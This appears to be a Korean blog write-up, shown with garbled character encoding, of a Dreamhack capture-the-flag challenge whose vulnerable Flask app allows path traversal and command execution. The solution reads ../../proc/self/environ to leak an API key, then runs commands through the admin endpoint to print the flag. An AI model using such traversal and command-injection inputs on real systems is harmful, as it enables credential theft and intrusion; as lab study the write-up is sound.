[2025-07-27] File Vulnerability advanced for Linux

๐Ÿฆฅ ๋ณธ๋ฌธ

  • main.py
import os, subprocess
from functools import wraps
from flask import Flask, request

app = Flask(__name__)
API_KEY = os.environ.get('API_KEY', None)

def key_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get('API_KEY', None)
        if API_KEY and apikey:
            if apikey == API_KEY:
                return view(**kwargs)
        return 'Access Denied !'
    return wrapped_view

@app.route('/', methods=['GET'])
def index():
    return 'API Index'

@app.route('/file', methods=['GET'])
def file():
    path = request.args.get('path', None)
    if path:
        data = open('./files/' + path).read()
        return data
    return 'Error !'

@app.route('/admin', methods=['GET'])
@key_required
def admin():
    cmd = request.args.get('cmd', None)
    if cmd:
        result = subprocess.getoutput(cmd)
        return result
    else:
        return 'Error !'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

/file API๋Š” ์ด์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ๋กœ์— ์žˆ๋Š” ํŒŒ์ผ์„ ์ฝ์–ด๋“ค์ด๋Š” API์ด๋‹ค.

/admin API๋Š” cmd ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํŒŒ์ผ์ด๋‹ค. ์ด ๋•Œ @key_required ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋ฅผ ํ†ตํ•ด API_Key๊ฐ€ ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ์žˆ๋Š” ๊ฐ’๊ณผ ๊ฐ™์€ ์ง€๋ฅผ ํŒ๋‹จํ•œ๋‹ค.

์ฆ‰, file API๋ฅผ ํ†ตํ•ด /proc/self/environ ์—์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์•Œ์•„๋‚ด๊ณ  ๊ทธ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด admin API์— ์ ‘๊ทผํ•˜์—ฌ flag๋ฅผ ์–ป์–ด ๋‚ด๋ฉด ๋œ๋‹ค.

์ด ๋•Œ ๊ถŒํ•œ์„ ํ™•์ธํ•ด์•ผ ํ•˜๋Š” ๊ฒŒ ๊ถŒํ•œ ํ™•์ธ ์•ˆํ•˜๊ณ  ๊ณ„์† cmd ๊ฐ’์— cat /flag๋ฅผ ๋„ฃ์œผ๋‹ˆ๊น ์‹คํ–‰์ด ์•ˆ๋œ๋‹ค.

ํ’€์ด

  1. file?path=../../proc/self/environ ์„ ํ†ตํ•ด API_KEY๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค.
    • API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f
  2. admin API์— API_KEY์™€ cmd๋ฅผ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ ‘๊ทผํ•œ๋‹ค. ์ด ๋•Œ cmd=ls -al / ์„ ์ž…๋ ฅํ•˜์—ฌ ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ์— ๊ถŒํ•œ ๊นŒ์ง€ ํ™•์ธํ•œ๋‹ค.
http://host8.dreamhack.games:8251/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=ls -al /
  1. โ€”xโ€“xโ€“x ๊ถŒํ•œ์ด๋ฏ€๋กœ ์‹คํ–‰๋งŒ ๊ฐ€๋Šฅํ•˜๊ณ  ์ฝ๊ธฐ ๊ถŒํ•œ์€ ์—†๋‹ค ๊ทธ๋Ÿฌ๋ฏ€๋กœ cmd=/flag ๋ฅผ ํ†ตํ•ด ์‹คํ–‰์‹œ์ผœ์„œ ์ถœ๋ ฅ์‹œํ‚จ๋‹ค.

Categories:

Updated:

Leave a comment